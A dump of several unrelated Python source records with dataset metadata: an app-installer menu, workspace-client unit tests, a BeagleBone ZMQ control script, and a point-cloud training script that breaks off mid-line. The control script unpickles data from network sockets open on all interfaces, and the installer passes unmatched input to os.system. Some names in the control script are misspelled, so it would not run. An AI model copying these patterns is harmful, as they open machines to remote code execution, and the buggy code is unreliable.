len(HotKeys)):\n\t\tt_Keys.append(Text(HotKeys[n],formHelp.x+3,formHelp.y+n+2))\n\n# MAIN PROGRAM ##############################################\ndef Main():\n\tMakeHelpForm()\n\tMakeProgrammsForm()\n\tsetCursor(1,formProgramms.y + formProgramms.dy + 4)\n\t#global editCmd\n\t#editCmd = Edit('Cmd',1,20)\n\t#editCmd.value = ''\n\nkey = ''\ncls()\nMain()\n#while (editCmd.value != 'q'):\nwhile (key != 'q'):\n\tkey = raw_input('Cmd::')\n\tprograme_index=(i for i in xrange(30))\n\tprograme_index.next()\n\tif key == '':\n\t\tcls()\n\t\tMain()\n\telif key == str(programe_index.next()):\tUpdate_Upgrade.install()\t\n\telif key == str(programe_index.next()):\tArduino.install()\n\telif key == str(programe_index.next()):\tqCAD.install()\n\telif key == str(programe_index.next()):\tFreeCAD.install()\n\telif key == str(programe_index.next()):\tSublime.install()\n\telif key == str(programe_index.next()):\tTerminator.install()\n\telif key == str(programe_index.next()):\tHtop.install()\n\telif key == str(programe_index.next()):\tnmon.install()\n\telif key == str(programe_index.next()):\twavemon.install()\n\telif key == str(programe_index.next()):\tNeofetch.install()\n\telif key == str(programe_index.next()):\tFortune.install()\n\telif key == str(programe_index.next()):\tCowsay.install()\n\telif key == str(programe_index.next()):\tKeymap.install()\n\telif key == str(programe_index.next()):\tLibreOffice.install()\n\telif key == str(programe_index.next()):\tThunderbird.install()\n\telif key == str(programe_index.next()):\tGoogleChrome.install()\n\telif key == str(programe_index.next()):\tW3M.install()\n\telif key == str(programe_index.next()):\tSkype.install()\n\t#elif key == str(programe_index.next()):\tobmenugen.install()\n\telif key == str(programe_index.next()):\tconky.install()\n\telif key == str(programe_index.next()):\tdave_s_conky.install()\n\telif key == str(programe_index.next()):\tll.install()\n\telif key == str(programe_index.next()):\tgit.install()\n\telif key == str(programe_index.next()):\tjava_8.install()\n\telif key == str(programe_index.next()):\tsmartGit.install()\n\telif key == str(programe_index.next()):\tobmenu.install()\n\telif key == str(programe_index.next()):\tweather.install()\n\telif key == str(programe_index.next()):\tstellarium.install()\n\t#elif key == 'str(programe_index.next()):\t.install()\n\telif key == 'all':\n\t\tUpdate_Upgrade.install()\t\n\t\tArduino.install()\n\t\tqCAD.install()\n\t\tFreeCAD.install()\n\t\tSublime.install()\n\t\tTerminator.install()\n\t\tHtop.install()\n\t\tnmon.install()\n\t\tNeofetch.install()\n\t\tFortune.install()\n\t\tCowsay.install()\n\t\tKeymap.install()\n\t\tLibreOffice.install()\n\t\tThunderbird.install()\n\t\tGoogleChrome.install()\n\t\tW3M.install()\n\t\tSkype.install()\n\t\t#obmenugen.install()\n\t\tconky.install()\n\t\tdave_s_conky.install()\n\t\tll.install()\n\t\tgit.install()\n\t\tjava_8.install()\n\t\tsmartGit.install()\n\t\tobmenu.install()\n\t\tweather.install()\n\t\tstellarium.install()\n\telif key == 'tehnika':\t\n\t\tArduino.install()\n\t\tqCAD.install()\n\t\tFreeCAD.install()\n\t\tSublime.install()\n\t\tstellarium.install()\n\telif key == 'sistem':\n\t\tUpdate_Upgrade.install()\t\n\t\tTerminator.install()\n\t\tHtop.install()\n\t\tnmon.install()\n\telse:\t\n\t\tos.system(key)\n\t#Main()\n\t\t\t\ncls()\n","sub_path":"installMyApps.py","file_name":"installMyApps.py","file_ext":"py","file_size_in_byte":46206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"585385518","text":"from pytest import raises\nfrom unittest.mock import create_autospec\n\nfrom installed_clients.WorkspaceClient import Workspace\nfrom installed_clients.baseclient import ServerError\nfrom SampleService.core.workspace import WS, WorkspaceAccessType, UPA, DataUnitID\nfrom core.test_utils import assert_exception_correct\nfrom SampleService.core.errors import UnauthorizedError\nfrom SampleService.core.errors import IllegalParameterError\nfrom SampleService.core.errors import NoSuchWorkspaceDataError\nfrom SampleService.core.errors import NoSuchUserError\nfrom SampleService.core.user import UserID\n\n# these tests mock the workspace client, so integration tests are important to check for\n# incompatible changes in the workspace api\n\n\ndef test_upa_init():\n _upa_init_str('1/1/1', 1, 1, 1, '1/1/1')\n _upa_init_str('64/790/17895101', 64, 790, 17895101, '64/790/17895101')\n\n _upa_init_int(1, 1, 1, 1, 1, 1, '1/1/1')\n _upa_init_int(89, 356, 2, 89, 356, 2, '89/356/2')\n\n\ndef test_upa_init_all_args():\n u = UPA(upa='6/3/9', wsid=7, objid=4, version=10)\n\n assert u.wsid == 6\n assert u.objid == 3\n assert u.version == 9\n assert str(u) == '6/3/9'\n\n\ndef _upa_init_str(str_, wsid, objid, ver, outstr):\n u = UPA(str_)\n\n assert u.wsid == wsid\n assert u.objid == objid\n assert u.version == ver\n assert str(u) == outstr\n\n\ndef _upa_init_int(wsid, objid, ver, wside, objide, vere, outstr):\n u = UPA(wsid=wsid, objid=objid, version=ver)\n\n assert u.wsid == wside\n assert u.objid == objide\n assert u.version == vere\n assert str(u) == outstr\n\n\ndef test_upa_init_fail():\n with raises(Exception) as got:\n UPA()\n assert_exception_correct(got.value, IllegalParameterError('Illegal workspace ID: None'))\n\n _upa_init_str_fail('1', IllegalParameterError('1 is not a valid UPA'))\n _upa_init_str_fail('1/2', IllegalParameterError('1/2 is not a valid UPA'))\n _upa_init_str_fail('1/2/3/5', IllegalParameterError('1/2/3/5 is not a valid UPA'))\n _upa_init_str_fail('1/2/3/', IllegalParameterError('1/2/3/ is not a valid UPA'))\n _upa_init_str_fail('/1/2/3', IllegalParameterError('/1/2/3 is not a valid UPA'))\n _upa_init_str_fail('f/2/3', IllegalParameterError('f/2/3 is not a valid UPA'))\n _upa_init_str_fail('1/f/3', IllegalParameterError('1/f/3 is not a valid UPA'))\n _upa_init_str_fail('1/2/f', IllegalParameterError('1/2/f is not a valid UPA'))\n _upa_init_str_fail('0/2/3', IllegalParameterError('0/2/3 is not a valid UPA'))\n _upa_init_str_fail('1/0/3', IllegalParameterError('1/0/3 is not a valid UPA'))\n _upa_init_str_fail('1/2/0', IllegalParameterError('1/2/0 is not a valid UPA'))\n _upa_init_str_fail('-24/2/3', IllegalParameterError('-24/2/3 is not a valid UPA'))\n _upa_init_str_fail('1/-42/3', IllegalParameterError('1/-42/3 is not a valid UPA'))\n _upa_init_str_fail('1/2/-10677810', IllegalParameterError('1/2/-10677810 is not a valid UPA'))\n\n _upa_init_int_fail(None, 2, 3, IllegalParameterError('Illegal workspace ID: None'))\n _upa_init_int_fail(1, None, 3, IllegalParameterError('Illegal object ID: None'))\n _upa_init_int_fail(1, 2, None, IllegalParameterError('Illegal object version: None'))\n _upa_init_int_fail(0, 2, 3, IllegalParameterError('Illegal workspace ID: 0'))\n _upa_init_int_fail(1, 0, 3, IllegalParameterError('Illegal object ID: 0'))\n _upa_init_int_fail(1, 2, 0, IllegalParameterError('Illegal object version: 0'))\n _upa_init_int_fail(-98, 2, 3, IllegalParameterError('Illegal workspace ID: -98'))\n _upa_init_int_fail(1, -6, 3, IllegalParameterError('Illegal object ID: -6'))\n _upa_init_int_fail(1, 2, -87501, IllegalParameterError('Illegal object version: -87501'))\n\n\ndef _upa_init_str_fail(upa, expected):\n with raises(Exception) as got:\n UPA(upa)\n assert_exception_correct(got.value, expected)\n\n\ndef _upa_init_int_fail(wsid, objid, ver, expected):\n with raises(Exception) as got:\n UPA(wsid=wsid, objid=objid, version=ver)\n assert_exception_correct(got.value, expected)\n\n\ndef test_upa_equals():\n assert UPA('1/2/3') == UPA(wsid=1, objid=2, version=3)\n assert UPA('1/2/3') == UPA('1/2/3')\n assert UPA(wsid=56, objid=90, version=211) == UPA('56/90/211')\n assert UPA('56/90/211') == UPA('56/90/211')\n\n assert UPA('1/2/3') != '1/2/3'\n\n assert UPA('1/2/3') != UPA(wsid=2, objid=2, version=3)\n assert UPA('1/3/3') != UPA('1/2/3')\n assert UPA(wsid=1, objid=2, version=3) != UPA(wsid=1, objid=2, version=4)\n\n\ndef test_upa_hash():\n # string hashes will change from instance to instance of the python interpreter, and therefore\n # tests can't be written that directly test the hash value. See\n # https://docs.python.org/3/reference/datamodel.html#object.__hash__\n assert hash(UPA('1/2/3')) == hash(UPA(wsid=1, objid=2, version=3))\n assert hash(UPA('1/2/3')) == hash(UPA('1/2/3'))\n assert hash(UPA(wsid=56, objid=90, version=211)) == hash(UPA('56/90/211'))\n assert hash(UPA('56/90/211')) == hash(UPA('56/90/211'))\n\n assert hash(UPA('1/2/3')) != hash(UPA(wsid=2, objid=2, version=3))\n assert hash(UPA('1/3/3')) != hash(UPA('1/2/3'))\n assert hash(UPA(wsid=1, objid=2, version=3)) != hash(UPA(wsid=1, objid=2, version=4))\n\n\ndef test_duid_init():\n duid = DataUnitID(UPA('1/2/3'))\n assert duid.upa == UPA('1/2/3')\n assert duid.dataid is None\n assert str(duid) == '1/2/3'\n\n duid = DataUnitID(UPA('1/2/3'), '')\n assert duid.upa == UPA('1/2/3')\n assert duid.dataid is None\n assert str(duid) == '1/2/3'\n\n duid = DataUnitID(UPA('1/2/3'), 'foo')\n assert duid.upa == UPA('1/2/3')\n assert duid.dataid == 'foo'\n assert str(duid) == '1/2/3:foo'\n\n duid = DataUnitID(UPA('1/2/3'), 'f' * 256)\n assert duid.upa == UPA('1/2/3')\n assert duid.dataid == 'f' * 256\n assert str(duid) == '1/2/3:' + 'f' * 256\n\n\ndef test_duid_init_fail():\n with raises(Exception) as got:\n DataUnitID(None)\n assert_exception_correct(got.value, ValueError(\n 'upa cannot be a value that evaluates to false'))\n\n with raises(Exception) as got:\n DataUnitID(UPA('1/1/1'), 'a' * 257)\n assert_exception_correct(got.value, IllegalParameterError(\n 'dataid exceeds maximum length of 256'))\n\n\ndef test_duid_equals():\n assert DataUnitID(UPA('1/1/1')) == DataUnitID(UPA('1/1/1'))\n assert DataUnitID(UPA('1/1/1'), 'foo') == DataUnitID(UPA('1/1/1'), 'foo')\n\n assert DataUnitID(UPA('1/1/1')) != UPA('1/1/1')\n\n assert DataUnitID(UPA('1/1/1')) != DataUnitID(UPA('2/1/1'))\n assert DataUnitID(UPA('1/1/1'), 'foo') != DataUnitID(UPA('2/1/1'), 'foo')\n assert DataUnitID(UPA('1/1/1'), 'foo') != DataUnitID(UPA('1/1/1'), 'fooo')\n\n\ndef test_duid_hash():\n # string hashes will change from instance to instance of the python interpreter, and therefore\n # tests can't be written that directly test the hash value. See\n # https://docs.python.org/3/reference/datamodel.html#object.__hash__\n assert hash(DataUnitID(UPA('1/1/1'))) == hash(DataUnitID(UPA('1/1/1')))\n assert hash(DataUnitID(UPA('1/1/1'), 'foo')) == hash(DataUnitID(UPA('1/1/1'), 'foo'))\n\n assert hash(DataUnitID(UPA('1/1/1'))) != hash(DataUnitID(UPA('2/1/1')))\n assert hash(DataUnitID(UPA('1/1/1'), 'foo')) != hash(DataUnitID(UPA('2/1/1'), 'foo'))\n assert hash(DataUnitID(UPA('1/1/1'), 'foo')) != hash(DataUnitID(UPA('1/1/1'), 'fooo'))\n\n\ndef test_init_fail():\n _init_fail(None, ValueError('client cannot be a value that evaluates to false'))\n\n wsc = create_autospec(Workspace, spec_set=True, instance=True)\n wsc.administer.side_effect = ServerError('jsonrpcerror', 24, 'poopoo')\n _init_fail(wsc, ServerError('jsonrpcerror', 24, 'poopoo'))\n\n\ndef _init_fail(wsc, expected):\n with raises(Exception) as got:\n WS(wsc)\n assert_exception_correct(got.value, expected)\n\n\ndef test_has_permission():\n _has_permission(UserID('a'), None, UPA('42/65/3'), WorkspaceAccessType.READ, 42)\n _has_permission(UserID('b'), 24, UPA('67/2/92'), WorkspaceAccessType.READ, 24)\n _has_permission(UserID('c'), 1, None, WorkspaceAccessType.READ, 1)\n _has_permission(UserID('a'), None, UPA('7/45/789'), WorkspaceAccessType.WRITE, 7)\n _has_permission(UserID('c'), None, UPA('1/1/1'), WorkspaceAccessType.WRITE, 1)\n _has_permission(UserID('c'), 301, None, WorkspaceAccessType.ADMIN, 301)\n _has_permission(UserID('none'), 301, None, WorkspaceAccessType.NONE, 301)\n\n\ndef test_has_permission_fail_bad_input():\n r = WorkspaceAccessType.READ\n u = UserID('b')\n _has_permission_fail(None, 1, None, r, ValueError(\n 'user cannot be a value that evaluates to false'))\n _has_permission_fail(u, None, None, r, ValueError(\n 'Either an UPA or a workpace ID must be supplied'))\n _has_permission_fail(u, 0, None, r, IllegalParameterError('0 is not a valid workspace ID'))\n _has_permission_fail(u, 1, None, None, ValueError(\n 'perm cannot be a value that evaluates to false'))\n\n\ndef test_has_permission_fail_unauthorized():\n r = WorkspaceAccessType.READ\n w = WorkspaceAccessType.WRITE\n a = WorkspaceAccessType.ADMIN\n _has_permission_fail(UserID('d'), 1, None, r, UnauthorizedError(\n 'User d cannot read workspace 1'))\n _has_permission_fail(UserID('d'), 34, None, w, UnauthorizedError(\n 'User d cannot write to workspace 34'))\n _has_permission_fail(UserID('b'), None, UPA('6/7/8'), w, UnauthorizedError(\n 'User b cannot write to upa 6/7/8'))\n _has_permission_fail(UserID('d'), 6, None, a, UnauthorizedError(\n 'User d cannot administrate workspace 6'))\n _has_permission_fail(UserID('b'), 74, None, a, UnauthorizedError(\n 'User b cannot administrate workspace 74'))\n _has_permission_fail(UserID('a'), None, UPA('890/44/1'), a, UnauthorizedError(\n 'User a cannot administrate upa 890/44/1'))\n\n\ndef test_has_permission_fail_on_get_perms_no_workspace():\n _has_permission_fail_ws_exception(\n ServerError('JSONRPCError', -32500, 'No workspace with id 22 exists'),\n NoSuchWorkspaceDataError('No workspace with id 22 exists')\n )\n\n\ndef test_has_permission_fail_on_get_perms_deleted_workspace():\n _has_permission_fail_ws_exception(\n ServerError('JSONRPCError', -32500, 'Workspace 22 is deleted'),\n NoSuchWorkspaceDataError('Workspace 22 is deleted')\n )\n\n\ndef test_has_permission_fail_on_get_perms_server_error():\n _has_permission_fail_ws_exception(\n ServerError('JSONRPCError', -32500, \"Things is f'up\"),\n ServerError('JSONRPCError', -32500, \"Things is f'up\")\n )\n\n\ndef test_has_permission_fail_no_object():\n wsc = create_autospec(Workspace, spec_set=True, instance=True)\n\n ws = WS(wsc)\n wsc.administer.assert_called_once_with({'command': 'listModRequests'})\n\n wsc.administer.side_effect = [\n {'perms': [{'a': 'w', 'b': 'r', 'c': 'a'}]},\n {'infos': [None]}]\n\n with raises(Exception) as got:\n ws.has_permission(UserID('b'), WorkspaceAccessType.READ, upa=UPA('67/8/90'))\n assert_exception_correct(got.value, NoSuchWorkspaceDataError('Object 67/8/90 does not exist'))\n\n\ndef test_has_permission_fail_on_get_info_server_error():\n wsc = create_autospec(Workspace, spec_set=True, instance=True)\n\n ws = WS(wsc)\n wsc.administer.assert_called_once_with({'command': 'listModRequests'})\n\n wsc.administer.side_effect = [\n {'perms': [{'a': 'w', 'b': 'r', 'c': 'a'}]},\n ServerError('JSONRPCError', -32500, 'Thanks Obama')]\n\n with raises(Exception) as got:\n ws.has_permission(UserID('b'), WorkspaceAccessType.READ, upa=UPA('67/8/90'))\n assert_exception_correct(got.value, ServerError('JSONRPCError', -32500, 'Thanks Obama'))\n\n\ndef _has_permission(user, wsid, upa, perm, expected_wsid):\n wsc = create_autospec(Workspace, spec_set=True, instance=True)\n\n ws = WS(wsc)\n wsc.administer.assert_called_once_with({'command': 'listModRequests'})\n retperms = {'perms': [{'a': 'w', 'b': 'r', 'c': 'a'}]}\n\n if wsid:\n wsc.administer.return_value = retperms\n else:\n wsc.administer.side_effect = [retperms, {'infos': [['objinfo goes here']]}]\n\n ws.has_permission(user, perm, wsid, upa)\n\n getperms = {'command': 'getPermissionsMass', 'params': {'workspaces': [{'id': expected_wsid}]}}\n if wsid:\n wsc.administer.assert_called_with(getperms)\n else:\n wsc.administer.assert_any_call(getperms)\n wsc.administer.assert_called_with({'command': 'getObjectInfo',\n 'params': {'objects': [{'ref': str(upa)}],\n 'ignoreErrors': 1}})\n\n assert wsc.administer.call_count == 2 if wsid else 3\n\n\ndef _has_permission_fail(user, wsid, upa, perm, expected):\n with raises(Exception) as got:\n _has_permission(user, wsid, upa, perm, None)\n assert_exception_correct(got.value, expected)\n\n\ndef _has_permission_fail_ws_exception(ws_exception, expected):\n wsc = create_autospec(Workspace, spec_set=True, instance=True)\n\n ws = WS(wsc)\n\n wsc.administer.assert_called_once_with({'command': 'listModRequests'})\n\n wsc.administer.side_effect = ws_exception\n\n with raises(Exception) as got:\n ws.has_permission('foo', WorkspaceAccessType.READ, 22)\n assert_exception_correct(got.value, expected)\n\n\ndef test_get_user_workspaces():\n _get_user_workspaces([], [], [])\n _get_user_workspaces([8, 89], [], [8, 89])\n _get_user_workspaces([], [4, 7], [4, 7])\n _get_user_workspaces([4, 66, 90, 104], [1, 45, 89], [1, 4, 45, 66, 89, 90, 104])\n\n\ndef _get_user_workspaces(workspaces, pub, expected):\n wsc = create_autospec(Workspace, spec_set=True, instance=True)\n\n ws = WS(wsc)\n\n wsc.administer.assert_called_once_with({'command': 'listModRequests'})\n\n wsc.administer.return_value = {'workspaces': workspaces, 'pub': pub}\n\n assert ws.get_user_workspaces(UserID('usera')) == expected\n\n wsc.administer.assert_called_with({'command': 'listWorkspaceIDs',\n 'user': 'usera',\n 'params': {'perm': 'r', 'excludeGlobal': 0}})\n\n assert wsc.administer.call_count == 2\n\n\ndef test_get_user_workspaces_fail_bad_input():\n _get_user_workspaces_fail(None, ValueError('user cannot be a value that evaluates to false'))\n\n\ndef _get_user_workspaces_fail(user, expected):\n wsc = create_autospec(Workspace, spec_set=True, instance=True)\n\n ws = WS(wsc)\n\n wsc.administer.assert_called_once_with({'command': 'listModRequests'})\n\n with raises(Exception) as got:\n ws.get_user_workspaces(user)\n assert_exception_correct(got.value, expected)\n\n\ndef test_get_user_workspaces_fail_no_user():\n _get_user_workspaces_fail_ws_exception(\n ServerError('JSONRPCError', -32500, 'User foo is not a valid user'),\n NoSuchUserError('User foo is not a valid user')\n )\n\n\ndef test_get_user_workspaces_fail_server_error():\n _get_user_workspaces_fail_ws_exception(\n ServerError('JSONRPCError', -32500, 'aw crapadoodles'),\n ServerError('JSONRPCError', -32500, 'aw crapadoodles')\n )\n\n\ndef _get_user_workspaces_fail_ws_exception(ws_exception, expected):\n wsc = create_autospec(Workspace, spec_set=True, instance=True)\n\n ws = WS(wsc)\n\n wsc.administer.assert_called_once_with({'command': 'listModRequests'})\n\n wsc.administer.side_effect = ws_exception\n\n with raises(Exception) as got:\n ws.get_user_workspaces(UserID('foo'))\n assert_exception_correct(got.value, expected)\n","sub_path":"test/core/workspace_test.py","file_name":"workspace_test.py","file_ext":"py","file_size_in_byte":15473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"207169359","text":"import Queue\r\nimport threading\r\nimport time\r\nimport datetime\r\nimport serial\r\nimport json\r\nimport zmq\r\nimport mech_ctrl\r\nimport global_var\r\nimport cPickle as pickle\r\n\r\nif __debug__:\r\n pass \r\nelse:\r\n import Adafruit_BBIO.UART as UART\r\n import Adafruit_BBIO.GPIO as GPIO\r\n import smbus\r\n import numpy as np\r\n \r\n\r\n\r\n#sensor_hash_table={} #create sersor hash table\r\nBB1_msg_q=Queue.Queue() #Create global queue\r\n\r\n\"Enqueue Function\"\r\ndef Message_Queue(obj):\r\n BB1_msg_q.put(obj)\r\n return\r\n#------------------------------------------------------------------------------------------#\r\n#Gloabl Classes\r\n \r\n#------------------------------------------------------------------------------------------#\r\n\r\n\"\"\"Sensor Object structures\"\"\"\r\n \r\nclass Camera_Struct():\r\n def __init__(self,timestamp,arr):\r\n self.arr=arr\r\n self.timestamp=timestamp\r\n\r\n\r\n\r\n#------------------------------------------------------------------------------------------#\r\n \r\n\"Messaging Queue for Sensor Data as server\"\r\n#Initializing server as PAIR\r\ndef init_messages():\r\n port=\"5555\"\r\n context=zmq.Context();\r\n global socket_control\r\n socket_control=context.socket(zmq.PAIR);\r\n socket_control.bind(\"tcp://*:%s\" % port);\r\n return\r\n\r\n#The only data we send is to turn on and off a few gpio lines on BBB2 and global pause and resume\r\ndef send_to_client(value):\r\n value=pickle.dumps(value);\r\n socket_control.send(value);\r\n return\r\n\r\n\r\n#The only data we receive is the VPD or VWC value from the client or BBB2\r\n#This enques to the main but is absolutely unnecessary and can be handled diferently\r\nclass Server_receive(threading.Thread):\r\n def __init__(self):\r\n threading.Thread.__init__(self)\r\n\r\n def run(self):\r\n while True:\r\n msg=socket_control.recv();\r\n msg=pickle.loads(msg)\r\n Message_Queue(msg); #Enqueue Message\r\n\r\n#------------------------------------------------------------------------------------------#\r\n#------------------------------------------------------------------------------------------#\r\n\"Message Queue to update HSST Table\"\r\ndef init_HSST_messages():\r\n port=\"5556\"\r\n context_HSST=zmq.Context();\r\n global socket_HSST\r\n socket_HSST=context_HSST.socket(zmq.PAIR);\r\n socket_HSST.bind(\"tcp://*:%s\" % port);\r\n return\r\n\r\n#This function should never be used as the HSST table only resides on BBB1 but this is\r\n#left exposed for future expnasion\r\ndef send_HSST_message(value):\r\n value=pickle.dumps(value);\r\n socket_HSST.send(value);\r\n return\r\n\r\n#Thread receives messages from client and updates the HSST table \r\nclass rcv_HSST_message(threading.Thread):\r\n def __init__(self):\r\n threading.Thread.__init__(self)\r\n def run(self):\r\n while True:\r\n msg=socket_HSST.recv();\r\n msg=pickle.loads(msg)\r\n #Update hsst_hash table in global_var module\r\n gloabl_var.hsst_hash[msg.key]=msg.value\r\n\r\n#------------------------------------------------------------------------------------------#\r\n\r\n\r\n#Start Main loop\r\n\"Build Case Structure i.e C switch statement equivalent\"\r\ndef relay_control():\r\n port_id=consumer.port_id;\r\n status=consumer.status;\r\n mech_ctrl.GPIO_set(port_id,status)\r\n return\r\n\r\n\r\n \r\n\"\"\"def HSST_update(element):\r\n global_var.sensor_hash_table[element.key]=element.value\r\n return\"\"\"\r\n\r\n#Default class to be used on all QMH. This has two arguemnts and a case selector\r\n#This can also be used in the client sensor network queue\r\nclass QMH_element():\r\n def __init__(self,case,arg1,arg2):\r\n self.case=case\r\n self.arg1=arg1\r\n self.arg2=arg2\r\n\r\ndef gloal_pause():\r\n global_event.event.clear();\r\n send_to_client(QMH_element(\"global_pause\",\"dummy\",\"dummy\")) #Signal slave device to pause\r\n\r\ndef global_resume():\r\n global_event.event.set()\r\n send_to_client(QMH_element(\"global_resume\",\"dummy\",\"dummy\")) #Signal slave device to resume\r\n \r\n\r\n \r\n\r\ndef main():\r\n global consumer #make consumer global\r\n global_var.init_sensor_hash_table()#Initialize sensor hash table\r\n global_var.init_hash_table()#Initialize hsst hash table\r\n #Message Queue\r\n #BB1_msg_q=Queue.Queue() #Create global queue\r\n #Init IPC threads\r\n init_messages();\r\n init_HSST_messages();\r\n message_control_thread=server_receive(); # launch Receive thread\r\n message_control_thread.start();\r\n hsst_thread=rcv_HSST_message(); #launch hsst_rcv thread\r\n hsst_thread.start()\r\n #Setup GPIO\r\n mech_ctrl.setup_GPIO_BB1();\r\n #Initialize Events\r\n #Gloabl Event to suspend threads for global stop\r\n global_event=threading.Event();\r\n global_event.event.set();\r\n #Watering Event to pause watering function\r\n watering_event=threading.Event();\r\n global_event.event.set();\r\n\r\n \r\n #Intialize events for watering function and mixture in the same fashion\r\n #Launch control threads here and pass events to them. Make sure all events are\r\n #initialized in main\r\n \r\n switch={\"update_HSST\":HSST_update,\"Update_Relay\":relay_control,\"pause\":global_pause,\"resume\":global_resume}\r\n # use global_event.event.clear() to stop or pause all control loops\r\n #This happens from GUI\r\n \r\n while True:\r\n consumer=BB1_msq_q.get()\r\n #Switch implementation\r\n try:\r\n switch[consumer.case]();\r\n except NameError:\r\n pass\r\n #default case\r\n \r\n\r\n \r\n \r\n","sub_path":"control_flow/legacy/F15_Sensors/Control_Logic/Control Threads/Final_code/Bones_1.0.0.py","file_name":"Bones_1.0.0.py","file_ext":"py","file_size_in_byte":5503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"141854375","text":"import argparse\nimport torch\nimport numpy as np\nimport json\nimport os\nimport sys\nimport datetime\n\n# start timing\nfrom torch import optim\n\nbegin_time = datetime.datetime.now()\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(BASE_DIR)\nsys.path.append(os.path.dirname(BASE_DIR))\nimport provider\nimport models.model_seg\n\n# settings for model\nparser = argparse.ArgumentParser(description='PyTorch Point Cloud Classification Model')\nparser.add_argument('--cuda', type=str, default='false', help='use CUDA')\nparser.add_argument('--point_num', type=int, default=2048)\nparser.add_argument('--epoch', type=int, default=200)\nparser.add_argument('--batch', type=int, default=32)\nparser.add_argument('--output_dir', type=str, default='train_results',\n help='Directory that stores all training logs and trained models')\nparser.add_argument('--wd', type=float, default=0, help='Weight Decay [Default: 0.0]')\nargs = parser.parse_args()\n\nhdf5_data_dir = os.path.join(BASE_DIR, './data/hdf5_data')\nargs.device = None\nif args.cuda == 'true':\n if torch.cuda.is_available():\n args.device = torch.device('cuda')\n else:\n print(\"cuda not available\")\nelse:\n args.device = torch.device('cpu')\nprint(args.device)\n\nDEVICE = torch.device(args.device)\npoint_num = args.point_num\nbatch_size = args.batch\noutput_dir = args.output_dir\n\nif not os.path.exists(output_dir):\n os.mkdir(output_dir)\n\ncolor_map_file = os.path.join(hdf5_data_dir, 'part_color_mapping.json')\ncolor_map = json.load(open(color_map_file, 'r'))\n\nall_obj_cats_file = os.path.join(hdf5_data_dir, 'all_object_categories.txt')\nfin = open(all_obj_cats_file, 'r')\nlines = [line.rstrip() for line in fin.readlines()]\nall_obj_cats = [(line.split()[0], line.split()[1]) for line in lines]\nfin.close()\n\nall_cats = json.load(open(os.path.join(hdf5_data_dir, 'overallid_to_catid_partid.json'), 'r'))\nNUM_CATEGORIES = 16\nNUM_PART_CATS = len(all_cats) # 50\n\nprint('#### Batch Size: {0}'.format(batch_size))\nprint('#### Point Number: {0}'.format(point_num))\nprint('#### Training using GPU: {0}'.format(args.cuda))\n\nDECAY_STEP = 16881 * 20\nDECAY_RATE = 0.5\n\nLEARNING_RATE_CLIP = 1e-5\n\nBN_INIT_DECAY = 0.5\nBN_DECAY_DECAY_RATE = 0.5\nBN_DECAY_DECAY_STEP = float(DECAY_STEP * 2)\nBN_DECAY_CLIP = 0.99\n\nBASE_LEARNING_RATE = 0.001\nMOMENTUM = 0.9\nTRAINING_EPOCHES = args.epoch\nprint('### Training epoch: {0}'.format(TRAINING_EPOCHES))\n\nTRAINING_FILE_LIST = os.path.join(hdf5_data_dir, 'train_hdf5_file_list.txt')\nTESTING_FILE_LIST = os.path.join(hdf5_data_dir, 'val_hdf5_file_list.txt')\nMODEL_STORAGE_PATH = os.path.join(output_dir, 'trained_models')\n\ntrain_file_list = provider.getDataFiles(TRAINING_FILE_LIST)\nnum_train_file = len(train_file_list)\ntest_file_list = provider.getDataFiles(TESTING_FILE_LIST)\nnum_test_file = len(test_file_list)\n\nif not os.path.exists(MODEL_STORAGE_PATH):\n os.mkdir(MODEL_STORAGE_PATH)\n\nLOG_STORAGE_PATH = os.path.join(output_dir, 'logs')\nif not os.path.exists(LOG_STORAGE_PATH):\n os.mkdir(LOG_STORAGE_PATH)\n\n\ndef printout(flog, data):\n print(data)\n flog.write(data + '\\n')\n\n\ndef convert_label_to_one_hot(labels):\n label_one_hot = np.zeros((labels.shape[0], NUM_CATEGORIES))\n for idx in range(labels.shape[0]):\n label_one_hot[idx, labels[idx]] = 1\n return label_one_hot\n\n\ndef update_lr(optimizer, epoch):\n optimizer.param_groups[0]['lr'] = BASE_LEARNING_RATE * DECAY_RATE ** (epoch * batch_size / DECAY_STEP)\n\n\nmodel = models.model_seg.get_model()\nmodel = model.to(args.device)\n\noptimizer = optim.Adam(model.parameters(), lr=BASE_LEARNING_RATE)\n\nflog = open(os.path.join(LOG_STORAGE_PATH, 'log.txt'), 'w')\n\nfor epoch in range(args.epoch):\n\n printout(flog, '\\n<<< Testing on the test dataset')\n with torch.no_grad():\n model = model.eval()\n # initialize the loss output\n total_loss = 0.0\n total_label_loss = 0.0\n total_seg_loss = 0.0\n total_label_acc = 0.0\n total_seg_acc = 0.0\n total_seen = 0\n\n total_label_acc_per_cat = np.zeros((NUM_CATEGORIES)).astype(np.float32)\n total_seg_acc_per_cat = np.zeros((NUM_CATEGORIES)).astype(np.float32)\n total_seen_per_cat = np.zeros((NUM_CATEGORIES)).astype(np.int32)\n\n for i in range(num_test_file):\n cur_test_filename = os.path.join(hdf5_data_dir, test_file_list[i])\n printout(flog, 'Loading test file ' + cur_test_filename)\n cur_data, cur_labels, cur_seg = provider.loadDataFile_with_seg(cur_test_filename)\n cur_labels = np.squeeze(cur_labels)\n cur_labels_one_hot = convert_label_to_one_hot(cur_labels)\n\n num_data = len(cur_labels)\n num_batch = num_data // batch_size\n\n for j in range(num_batch):\n begidx = j * batch_size\n endidx = (j + 1) * batch_size\n pointclouds_ph = cur_data[begidx:endidx, ...]\n labels_ph = cur_labels[begidx:endidx, ...]\n input_label_ph = cur_labels_one_hot[begidx:endidx, ...]\n seg_ph = cur_seg[begidx:endidx, ...]\n\n pointclouds_ph = torch.from_numpy(pointclouds_ph)\n input_label_ph = torch.from_numpy(input_label_ph)\n labels_ph = torch.from_numpy(labels_ph)\n seg_ph = torch.from_numpy(seg_ph)\n\n pointclouds_ph = pointclouds_ph.float()\n input_label_ph = input_label_ph.float()\n labels_ph = labels_ph.float()\n seg_ph = seg_ph.float()\n\n pointclouds_ph = pointclouds_ph.to(args.device)\n input_label_ph = input_label_ph.to(args.device)\n labels_ph = labels_ph.to(args.device)\n seg_ph = seg_ph.to(args.device)\n\n labels_pred, seg_pred, end_points = model(pointclouds_ph, input_label_ph)\n total_loss, label_loss, per_instance_label_loss, seg_loss, per_instance_seg_loss, 